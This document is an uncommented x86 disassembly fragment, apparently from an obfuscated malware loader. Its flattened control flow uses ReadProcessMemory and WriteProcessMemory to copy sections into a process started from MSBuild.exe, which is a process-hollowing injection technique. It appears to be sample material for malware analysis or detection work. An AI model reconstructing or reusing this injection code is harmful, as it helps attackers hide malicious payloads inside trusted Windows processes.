mov eax, 0x3e4a7971
mov ecx, 0x1779ffc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005450
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xbb800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x158], 0xb2e2b518
jmp 0x10004f47
mov eax, dword [ebp - 0xdc]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x129], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x158], 0xb8b82106
jmp 0x10004f47
mov dword [ebp - 0x158], 0xa0911713
jmp 0x10004f47
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001bf0
add esp, 4
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x128]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x11c]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x158], 0x5ff34fc1
jmp 0x10004f47
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x158], 0x6c427632
jmp 0x10004f47
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
sub ecx, 0x94f4f79c
add ecx, edx
add ecx, 0x94f4f79c
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x118]
mov esi, dword [esi]
mov edi, dword [ebp - 0x108]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x99853f36
add edx, esi
sub edx, 0x99853f36
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x158], 0xb3e445b1
jmp 0x10004f47
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x158], 0x258dd5cf
jmp 0x10004f47
mov dword [ebp - 0x158], 0x376080ae
jmp 0x10004f47
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x158], 0x317e29ea
jmp 0x10004f47
mov dword [ebp - 0x158], 0xef9fdd49
jmp 0x10004f47
mov dword [ebp - 0x158], 0x67e37a91
jmp 0x10004f47
jmp 0x10002040